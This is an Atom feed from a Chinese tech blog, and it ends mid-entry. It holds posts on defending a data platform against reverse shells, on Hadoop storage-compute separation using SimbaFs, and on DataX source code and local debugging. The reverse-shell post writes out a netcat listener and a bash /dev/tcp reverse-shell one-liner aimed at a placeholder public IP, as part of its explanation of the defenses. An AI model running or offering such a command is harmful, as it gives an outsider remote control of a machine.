<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>邓纯粹</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://blog.chuncui.icu/</id>
  <link href="https://blog.chuncui.icu/" rel="alternate"/>
  <link href="https://blog.chuncui.icu/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 邓纯粹</rights>
  <subtitle>关于代码、数据与系统的长期笔记</subtitle>
  <title>纯粹博客</title>
  <updated>2021-05-16T12:35:09.000Z</updated>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="未分类" scheme="https://blog.chuncui.icu/categories/%E6%9C%AA%E5%88%86%E7%B1%BB/"/>
    <category term="网络安全" scheme="https://blog.chuncui.icu/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<h1 id="一-背景"><a href="#一-背景" class="headerlink" title="一. 背景"></a>一. 背景</h1><p>  目前公司的产品的《命令行复测结果简报》中检测出反弹shell漏洞, 需要对该问题做出相关相关应对方案。</p><h1 id="二-反弹shell介绍"><a href="#二-反弹shell介绍" class="headerlink" title="二. 反弹shell介绍"></a>二. 反弹shell介绍</h1><p>  反弹shell(reverse shell)，就是控制端监听在某TCP&#x2F;UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制<br>端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的⻆色反转。<br>  例子:</p><ul><li><p>攻击者在其机器上监听端口</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 通过netcat工具监听 6767端口号(tcp/udp)并且输出交互信息</span><br><span class="line"> nc -lvp 6767</span><br></pre></td></tr></table></figure></li><li><p>在被攻击端执行下面命令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">//产生一个交互的shell 并且建立socket连接读取这个文件</span><br><span class="line"> bash -i &gt;&amp; /dev/tcp/公网ip/ 6767 0 &gt;&amp; 1</span><br></pre></td></tr></table></figure><p>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/image.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure></li></ul><h1 id="三-漏洞分析"><a href="#三-漏洞分析" class="headerlink" title="三. 漏洞分析"></a>三. 漏洞分析</h1><p>  该漏洞的核心思想是在被攻击节点建立socket通道连接外网打通攻击者服务器,从而实现渗透。用户可以通过Datasimba 执行<br>shell 、python、jar 实现shell反弹,分析该问题目前能想到的解决思路如下:</p><ul><li>限定被攻击节点对外访问请求；</li><li>监听 socket 通道的进程 发现即kill或报警</li><li>通过用户空间隔离技术(chroot)</li><li>通过容器虚拟化技术实现环境资源隔离<br>按照以上思路提供的解决方案</li></ul><h1 id="四-反弹shell防御方案"><a href="#四-反弹shell防御方案" class="headerlink" title="四. 反弹shell防御方案"></a>四. 反弹shell防御方案</h1><h5 id="方案一-产品功能对任务代码的关键字作限制"><a href="#方案一-产品功能对任务代码的关键字作限制" class="headerlink" title="方案一: 产品功能对任务代码的关键字作限制"></a>方案一: 产品功能对任务代码的关键字作限制</h5><ul><li>解释：代码中如果包含类似shell反弹的任务不能进行保存和运行</li><li>优点：从源头上避免反弹shell代码进入到产品服务内部</li><li>缺点：用户可以通过在代码中添加包含反弹shell的文件,或者通过下载外部文件的<br>方式绕过校验限制</li></ul><h5 id="方案二-对被攻击节点-增加-ip白名单限制外网访问"><a href="#方案二-对被攻击节点-增加-ip白名单限制外网访问" class="headerlink" title="方案二: 对被攻击节点 增加 ip白名单限制外网访问"></a>方案二: 对被攻击节点 增加 ip白名单限制外网访问</h5><ul><li>解释：<br>i. 目前Dataworkes(阿里云) 对于ip白名单 shell反弹的解决思路<br>ii. 目前有的客户就是使用禁止外网访问的方式避免掉的</li><li>优点：配置简单,从源头上解决问题,可以有效控制被攻击节点的ip</li><li>缺点：灵活性差,比如simba接入新的数据源,则数据源的ip需要添加到白名单中</li></ul><h5 id="方案三-自动防御shell反弹"><a href="#方案三-自动防御shell反弹" class="headerlink" title="方案三: 自动防御shell反弹"></a>方案三: 自动防御shell反弹</h5><ul><li>解释：通过linux IPC机制Netlink，用于在内核与用户进程之间传递消息,捕获进程事件信息，通过监控到的进程信息进行处理</li><li>优点：自动监控系统进程,发现非法进程直接kill,一般情况下绕过较难</li><li>缺点：i. 运维成本增加<br>ii. 通过上传可执行文件通过其他思路实现反弹,比如通过java或者python写一个SocketServer 程序执行.</li></ul><h5 id="方案四-通过容器虚拟化技术建立隔离操作系统"><a href="#方案四-通过容器虚拟化技术建立隔离操作系统" class="headerlink" title="方案四: 通过容器虚拟化技术建立隔离操作系统"></a>方案四: 通过容器虚拟化技术建立隔离操作系统</h5><ul><li>解释：<br>i.首先在产品的工作节点上通过docker技术创建出虚拟化的容器作为隔离层<br>ii.在功能中对于python、shell、jar任务类型在simba的工作节点上真正执行时我们会在隔离层<br>执行相关逻辑(只依赖其操作系统环境)。如果出现黑客攻击者通过shell反弹技术入侵其实操作的是虚拟出来的操作系统,不会对容器外<br>部的机器造成任何威胁。</li><li>优点: 通过容器虚拟化技术虚拟出新的操作系统实现完全的隔离。</li><li>缺点：对simba现有worker的工作节点进行架构优化改造，短时间内无法完成。</li></ul><h1 id="五-目前的思路"><a href="#五-目前的思路" class="headerlink" title="五. 目前的思路"></a>五. 目前的思路</h1><ul><li>思路一：通过方案二来从源头上解决问题(可能会增加额外的配置成本)</li><li>思路二: 可以通过方案一、方案三组合使用,通过方案一和方案三的优缺点进行互补,方案一从产品层面限制反弹<br>shell进入到产品平台,方案三可防止通过引用上传文件绕过的限制。可以避免大多数场景。理论上进入到产品平台的用户<br>大多数都是内部和已知用户都可以追溯和溯源(排除账号被盗问题)</li><li>思路三: 为了彻底解决非法用户通过编写其他技术方式实现所谓的’反弹’,后续会排期对产品的工作节点增加方案四-容器<br>虚拟化的方式来避免’反弹’问题。</li></ul>]]>
    </content>
    <id>https://blog.chuncui.icu/2021/05/16/shell%E5%8F%8D%E5%BC%B9%E6%B8%97%E9%80%8F%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90%E5%92%8C%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/</id>
    <link href="https://blog.chuncui.icu/2021/05/16/shell%E5%8F%8D%E5%BC%B9%E6%B8%97%E9%80%8F%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90%E5%92%8C%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/"/>
    <published>2021-05-16T12:33:34.000Z</published>
    <summary>一. 背景 目前公司的产品的《命令行复测结果简报》中检测出反弹shell漏洞, 需要对该问题做出相关相关应对方案。 二. 反弹shell介绍 反弹shell(reverse shell)，就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与teln……</summary>
    <title>shell反弹渗透技术分析和解决方案</title>
    <updated>2021-05-16T12:35:09.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="大数据" scheme="https://blog.chuncui.icu/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"/>
    <category term="Hadoop" scheme="https://blog.chuncui.icu/tags/Hadoop/"/>
    <category term="计算存储分离" scheme="https://blog.chuncui.icu/tags/%E8%AE%A1%E7%AE%97%E5%AD%98%E5%82%A8%E5%88%86%E7%A6%BB/"/>
    <category term="云原生" scheme="https://blog.chuncui.icu/tags/%E4%BA%91%E5%8E%9F%E7%94%9F/"/>
    <content>
      <![CDATA[<h3 id="一、前言"><a href="#一、前言" class="headerlink" title="一、前言"></a>一、前言</h3><p>    众所周知传统的 Apache Hadoop 的架构存储和计算是耦合在一起的, HDFS 作为其分布式文件系统也面临一些问题。如: 存储空间或者计算资源不足两者只能同时扩容、扩容效率低、额外增加成本、灵活性差等。本文会大家回顾Hadoop的传统架构来分析上述问题以及Hadoop实现存算分离的方案和DataSimba的对于Hadoop存算分离的最佳实践。</p><h3 id="二、Hadoop分布式文件系统-HDFS-的架构和问题"><a href="#二、Hadoop分布式文件系统-HDFS-的架构和问题" class="headerlink" title="二、Hadoop分布式文件系统(HDFS)的架构和问题"></a>二、Hadoop分布式文件系统(HDFS)的架构和问题</h3><p>    <strong>HDFS的架构:</strong><br><img src="/images/recovered/hdfs-architecture.gif" loading="lazy" alt="image" /></p><p>    HDFS采用master&#x2F;slave架构。一个HDFS集群是由一个Namenode和一定数目的Datanodes组成。</p><ul><li>Namenode:<ol><li>Namenode是一个中心服务器，负责管理文件系统的名字空间(namespace)以及客户端对文件的访问</li><li>Namenode执行文件系统的名字空间操作，比如打开、关闭、重命名文件或目录。它也负责确定数据块到具体Datanode节点的映射。</li></ol></li><li>Datanode:<ol><li>集群中的Datanode一般是一个节点一个，负责管理它所在节点上的存储。</li><li>HDFS暴露了文件系统的名字空间，用户能够以文件的形式在上面存储数据。从内部看，一个文件其实被分成一个或多个数据块，这些块存储在一组Datanode上。</li><li>Datanode负责处理文件系统客户端的读写请求。在Namenode的统一调度下进行数据块的创建、删除和复制。</li></ol></li><li>Client:<ol><li>用户操作HDFS文件进行创建、删除、移动或重命名操作的客户端。</li></ol></li></ul><hr><p>    <strong>Hadoop分布式文件系统的设计目标:</strong></p><ul><li>适合运行在通用硬件和廉价机器(commodity hardware)上的分布式文件系统</li><li>机器的硬件错误常的态化,让HDFS具有错误检测和快速、自动的恢复能力是最核心的架构目标</li><li>数据批处理关键的在于数据访问的高吞吐量,而POSIX标准设置的很多硬性约束对HDFS应用系统不是必需的。为了提高数据的吞吐量，在一些关键方面对POSIX的语义做了一些修改。</li><li>HDFS应用一次写入多次读取”的文件访问简单一致性模型</li><li>移动计算的思想: 进行一次请求计算数据距离越近就越高效,在海量数据处理下hadoop将计算逻辑移动到存储节点。</li><li>数据切分成块、数据复制副本(容错)、数据副本分布策略、机架感知、副本选择等特性来保证hdfs可靠性和提高性能的关键。</li><li>Datanode节点周期性地向Namenode发送心跳信号、负载均衡策略、HDFS文件内容的校验和(checksum)检查保证HDFS的健壮性和可靠性。</li></ul><hr><p>    <strong>Hadoop分布式文件系统的问题:</strong></p><ul><li>计算存储耦合:<br>上面说过HDFS采用移动计算的思想,计算的时候只需要将计算代码推送到存储节点上,即可在存储节点上完成数据本地化计算，Hadoop 中的集群存储节点也是计算节点。所以当存储空间或计算资源不足时，只能同时对两者进行扩容。如果用户的计算需求远远大于存储需求,此时扩容集群会造成存储的浪费,相反则计算资源被浪费。</li><li>扩容问题:<br>集群节点增多,扩容成本增加,风险增加</li><li>HDFS性能问题:<br>HDFS NameNode的全局锁虽然简化了锁模型降低了复杂度,但是全局锁最大的缺点就是容易产生性能瓶颈</li><li>HDFS成本问题:<br>在HDFS文件系统中典型文件大小一般都在G字节至T字节,由于HDFS的副本特性一份文件至少会存储3份,这些额外的空间会带来存储成本额外的提高</li></ul><blockquote><p>针对上面一些问题,现在Hadoop采用存算分离的架构的方案趋势越来越明显</p></blockquote><hr><h3 id="三、Hadoop-实现存算分离方案"><a href="#三、Hadoop-实现存算分离方案" class="headerlink" title="三、Hadoop 实现存算分离方案:"></a>三、<strong>Hadoop 实现存算分离方案:</strong></h3><ul><li>方案一: Hadoop 兼容的文件系统:</li></ul><figure class="legacy-image-notice" data-original-src="http://dmr-blog.oss-accelerate.aliyuncs.com/hadoop%20%E5%85%BC%E5%AE%B9%E7%9A%84%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>    上图是Hadoop3.X 目前兼容的文件系统,支持aws s3、腾讯云 cos、阿里云 oss存储,可以看到用户在上传数据时候,需要调用对应云服务厂商的sdk进行数据的写入。下载文件也是一样的原理。不过为什么现在可以使用这种方式实现Hadoop的计算存储分离呢？</p><p>    举一个例子日常生活中遇到的经历：家里带宽自从升级到100mpbs，从来不保存电影，要看直接下载，基本几分钟就好了。这在几年前不可想象。</p><blockquote><p>带宽的速度，特别是机房内带宽的速度，已经从1000mps、2000mps、10000mps，甚至100000mpbs。但是磁盘的速度基本没有太大的变化。因为硬件的变化，带来了软件架构的变化。</p></blockquote><p>    虽然方案一可以实现计算存储分离,但是基本架构上还是存在问题:虽然带宽增加,但是如果Hadoop集群机房和对应的对象存储机房距离较远,网络抖动等原因加大了传输失败的几率,还有比如判断一个目录需要多次的refs请求才能完成操作,多次请求会对性能造成影响。</p><ul><li>方案二: 云原生的Hadoop文件系统 SimbaFs:</li></ul><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/simbaFs%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 3 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>    上图是SimbaFs的架构,SimbaFsClient是一个java开发的jar包,兼容Hadoop文件系统，按照Hadoop FileSystem API规范来实现。主要实现了Hadoop FileSystem的list、delete、rename、mkdir等接口，而InputStream和OutputStream主要实现了对文件读写优化相的等实现(预读、缓存读、异步写、批量写、文件压缩)。SimbaFs client通过JNI (Java Native Interface) 技术转换为本地simbafs.so的调用实现相关方法,完成文件的上传&#x2F;下载操作。</p><ul><li>压测情况:</li></ul><p>    由于对于读做了预读和缓存操作,对于写的操作通过异步写和批量写的优化所以SimbaFs的性能也是非常优秀的。我们在发行版本为cdh5的集群, hdfs版本为2.6做了测试。使用3台阿里云4核14g的ecs做压力测试,对象存储选择的是oss,并且保证集群节点和oss在同一机房。下面是关于create_write、open_read、rename、delete 等操作的压测结果。\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/open_read%20%E5%90%9E%E5%90%90%E9%87%8F%E5%AF%B9%E6%AF%94.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 4 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/create_write%20%E5%90%9E%E5%90%90%E9%87%8F%E5%AF%B9%E6%AF%94.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 5 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/rename%20%E5%90%9E%E5%90%90%E9%87%8F%E5%AF%B9%E6%AF%94.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 6 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/delete%20%E5%90%9E%E5%90%90%E9%87%8F%E5%AF%B9%E6%AF%94.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 7 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><blockquote><p>可以看到SimbaFs的性能在open_read、create_write、rename是远好于HDFS的</p></blockquote><h3 id="四、小节"><a href="#四、小节" class="headerlink" title="四、小节"></a>四、小节</h3><p>    本文先回顾了传统Hadoop分布式文件系统的架构和问题,以及实现Hadoop存算分离的方案,并详细介绍了DataSimba对存算分离的SimbaFs的实现原理和压测情况。最后真心希望本文对你所有帮助。</p>]]>
    </content>
    <id>https://blog.chuncui.icu/2021/04/12/10%E5%88%86%E9%92%9F%E4%BA%86%E8%A7%A3SimbaFs%E8%A7%A3%E5%86%B3hadoop%E5%AD%98%E7%AE%97%E5%88%86%E7%A6%BB%E9%97%AE%E9%A2%98/</id>
    <link href="https://blog.chuncui.icu/2021/04/12/10%E5%88%86%E9%92%9F%E4%BA%86%E8%A7%A3SimbaFs%E8%A7%A3%E5%86%B3hadoop%E5%AD%98%E7%AE%97%E5%88%86%E7%A6%BB%E9%97%AE%E9%A2%98/"/>
    <published>2021-04-12T14:41:14.000Z</published>
    <summary>一、前言 众所周知传统的 Apache Hadoop 的架构存储和计算是耦合在一起的, HDFS 作为其分布式文件系统也面临一些问题。如: 存储空间或者计算资源不足两者只能同时扩容、扩容效率低、额外增加成本、灵活性差等。本文会大家回顾Hadoop的传统架构来分析上述问题以及Hadoop实现存算分离的方案和DataSim……</summary>
    <title>10分钟了解SimbaFs解决hadoop存算分离问题</title>
    <updated>2021-05-04T06:10:23.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="大数据" scheme="https://blog.chuncui.icu/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"/>
    <category term="源码" scheme="https://blog.chuncui.icu/tags/%E6%BA%90%E7%A0%81/"/>
    <category term="datax" scheme="https://blog.chuncui.icu/tags/datax/"/>
    <category term="数据同步" scheme="https://blog.chuncui.icu/tags/%E6%95%B0%E6%8D%AE%E5%90%8C%E6%AD%A5/"/>
    <category term="大数据" scheme="https://blog.chuncui.icu/tags/%E5%A4%A7%E6%95%B0%E6%8D%AE/"/>
    <content>
      <![CDATA[<h3 id="DataX-工作原理及源码解读"><a href="#DataX-工作原理及源码解读" class="headerlink" title="DataX 工作原理及源码解读"></a>DataX 工作原理及源码解读</h3><h4 id="背景："><a href="#背景：" class="headerlink" title="背景："></a>背景：</h4><p>   最近在工作中接触到阿里的数据同步工具datax,通过其实现了一些数据源的数据同步功能,虽然在官方文档中了解其工作原理,但是还是对其如何实现的可扩展的架构,和不同数据源之间导入导出的原理比较感兴趣,查看网上的一些介绍并没有深入源码，所以闲暇时间查看了datax的主流程代码,对此做了一下总结。</p><h4 id="概述"><a href="#概述" class="headerlink" title="概述:"></a>概述:</h4><p>  该文章主要内容如下:</p><ul><li>datax 介绍</li><li>datax 工作原理</li><li>datax 如何本地调试</li><li>datax 源码分析</li><li>总结</li></ul><h4 id="一、datax-介绍"><a href="#一、datax-介绍" class="headerlink" title="一、datax 介绍"></a>一、datax 介绍</h4><p>   <strong>github</strong>: <a href="https://github.com/alibaba/DataX/blob/master/introduction.md" target="_blank" rel="noopener">datax</a><br>   DataX 是一个异构数据源离线同步工具，致力于实现包括关系型数据库(MySQL、Oracle等)、HDFS、Hive、ODPS、HBase、FTP等各种异构数据源之间稳定高效的数据同步功能。\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/22.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>具体内容可以查看官方文档这里就不做多描述。</p><h4 id="二、datax-工作原理"><a href="#二、datax-工作原理" class="headerlink" title="二、datax 工作原理"></a>二、datax 工作原理</h4><h5 id="1-Datax核心架构图"><a href="#1-Datax核心架构图" class="headerlink" title="1. Datax核心架构图"></a>1. Datax核心架构图</h5><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/23.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>   上图为官方文档的架构图,主要氛围3个大的模块分别为job、task、taskgroup</p><ul><li>job：datax 每执行一个同步任务则为一个job</li><li>task：datax 底层原理是将一个job,根据<strong>切分策略</strong>拆分为多个task来进行并发执行,task是datax的最小执行单位。<br>例：我要同步mysql一个表的数据到hive,我的切分规则为id,假设一张表有1w条记录，我的并发设置为5,则最总会生成25个task(并发数量*5),每个任务同步400条数据。</li><li>taskgroup：datax内部Scheduler模块会将拆分的task进行重组合生成taskgroup,创建对应数量的线程池进行任务数据的同步,同步顺序 Reader—&gt;Channel—&gt;Writer</li></ul><h5 id="2-Datax框架执行顺序"><a href="#2-Datax框架执行顺序" class="headerlink" title="2. Datax框架执行顺序"></a>2. Datax框架执行顺序</h5><p>在看源码之前需要了解datax的执行顺序才能深入理解其工作原理,下面内容是在官方复制的,已经理解其内容的同学可以选择跳过。\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/24.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 3 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>上图中，黄色表示Job部分的执行阶段，蓝色表示Task部分的执行阶段，绿色表示框架执行阶段。</p><h4 id="三、datax-如何本地调试"><a href="#三、datax-如何本地调试" class="headerlink" title="三、datax 如何本地调试"></a>三、datax 如何本地调试</h4><ol><li><p>下载datax源码到本地</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/alibaba/DataX.git</span><br></pre></td></tr></table></figure></li><li><p>idea 打开项目进行编译</p></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">clean package assembly:assembly -Dmaven.test.skip=true</span><br></pre></td></tr></table></figure><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/1.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 4 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>3. 获取启动参数<br>   datax的启动命令为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">datax.py  xxx.json</span><br></pre></td></tr></table></figure><p>datax.py脚本在 &#x2F;datax-core&#x2F;bin&#x2F;datax.py中\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/2.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 5 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p><br>我们用编译器打开执行python脚本,代码如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    printCopyright()</span><br><span class="line">    parser = getOptionParser()</span><br><span class="line">    options, args = parser.parse_args(sys.argv[1:])</span><br><span class="line">    if options.reader is not None and options.writer is not None:</span><br><span class="line">        generateJobConfigTemplate(options.reader,options.writer)</span><br><span class="line">        sys.exit(RET_STATE[&#x27;OK&#x27;])</span><br><span class="line">    if len(args) != 1:</span><br><span class="line">        parser.print_help()</span><br><span class="line">        sys.exit(RET_STATE[&#x27;FAIL&#x27;])</span><br><span class="line">    // 这里生成执行脚本</span><br><span class="line">    startCommand = buildStartCommand(options, args)</span><br><span class="line">    # print startCommand</span><br><span class="line"></span><br><span class="line">    child_process = subprocess.Popen(startCommand, shell=True)</span><br><span class="line">    register_signal()</span><br><span class="line">    (stdout, stderr) = child_process.communicate()</span><br><span class="line"></span><br><span class="line">    sys.exit(child_process.returncode)</span><br></pre></td></tr></table></figure><p>进行debug调试,获取执行datax的系统参数如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -server -Xms1g -Xmx1g -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/Users/dengmingrui/temp/DataX/core/src/main/log -Xms1g -Xmx1g -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/Users/dengmingrui/temp/DataX/core/src/main/log -Dloglevel=info -Dfile.encoding=UTF-8 -Dlogback.statusListenerClass=ch.qos.logback.core.status.NopStatusListener -Djava.security.egd=file:///dev/urandom -Ddatax.home=/Users/dengmingrui/temp/DataX/core/src/main -Dlogback.configurationFile=/Users/dengmingrui/temp/DataX/core/src/main/conf/logback.xml -classpath /Users/dengmingrui/temp/DataX/core/src/main/lib/*:.  -Dlog.file.name=grui_temp_datax_json com.alibaba.datax.core.Engine -mode standalone -jobid -1 -job /Users/dengmingrui/temp/datax.json</span><br></pre></td></tr></table></figure><p>通过启动参数我们可以知道，datax的主方法在<br>com.alibaba.datax.core.Engine,中并且有3个参数分别是model、jobid、job<br>我们把pyhton 脚本生成的命令加工一下放到idea中进行调试。加工后的命令如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-Xms1g -Xmx1g -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/Users/dengmingrui/temp/DataX/target/datax/datax/log -Dloglevel=info -Dfile.encoding=UTF-8 -Ddatax.home=/Users/dengmingrui/temp/DataX/target/datax/datax -Dlogback.configurationFile=/Users/dengmingrui/temp/DataX/target/datax/datax/conf/logback.xml -Dlog.file.name=s_datax_job_job_json</span><br></pre></td></tr></table></figure><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/temp/datax/3.png"><img src="/images/legacy-missing.svg" alt="image" /><figcaption><strong>旧站配图 6 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h4 id="datax-源码分析"><a href="#datax-源码分析" class="headerlink" title="datax 源码分析"></a>datax 源码分析</h4><p>这次例子是将mysql中的数据同步到本地所以我的datax json文件内容如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  &quot;job&quot;: &#123;</span><br><span class="line">    &quot;content&quot;: [</span><br><span class="line">      &#123;</span><br><span class="line">        &quot;reader&quot;: &#123;</span><br><span class="line">          &quot;name&quot;: &quot;mysqlreader&quot;,</span><br><span class="line">          &quot;parameter&quot;: &#123;</span><br><span class="line">            &quot;username&quot;: &quot;xxx&quot;,</span><br><span class="line">            &quot;password&quot;: &quot;xxx&quot;,</span><br><span class="line">            &quot;column&quot;: [</span><br><span class="line">                &quot;xxx&quot;,</span><br><span class="line">                &quot;xxx&quot;,</span><br><span class="line">                &quot;xxx&quot;,</span><br><span class="line">                &quot;xxx&quot;,</span><br><span class="line">                &quot;xxx&quot;,</span><br><span class="line">                &quot;xxx&quot;</span><br><span class="line">            ],</span><br><span class="line">            &quot;splitPk&quot;: &quot;id&quot;,</span><br><span class="line">            &quot;connection&quot;: [</span><br><span class="line">                &#123;</span><br><span class="line">                    &quot;table&quot;: [</span><br><span class="line">                        &quot;xxxx&quot;</span><br><span class="line">                    ],</span><br><span class="line">                    &quot;jdbcUrl&quot;: [</span><br><span class="line">                            &quot;xxxxx&quot;</span><br><span class="line">                    ]</span><br><span class="line">                &#125;</span><br><span class="line">            ]</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;,</span><br><span class="line">        &quot;writer&quot;: &#123;</span><br><span class="line">          &quot;name&quot;: &quot;txtfilewriter&quot;,</span><br><span class="line">          &quot;parameter&quot;: &#123;</span><br><span class="line">            &quot;path&quot;: &quot;/Users/dengmingrui/temp/data&quot;,</span><br><span class="line">            &quot;fileName&quot;: &quot;test&quot;,</span><br><span class="line">            &quot;writeMode&quot;: &quot;truncate&quot;,</span><br><span class="line">            &quot;dateFormat&quot;: &quot;yyyy-MM-dd&quot;,</span><br><span class="line">            &quot;fieldDelimiter&quot;: &quot;,&quot;</span><br><span class="line">          &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    ],</span><br><span class="line">    &quot;setting&quot;: &#123;</span><br><span class="line">      &quot;speed&quot;: &#123;</span><br><span class="line">        &quot;channel&quot;: 5</span><br><span class="line">       &#125;</span><br><span class="line">    &#125;</span><br><span 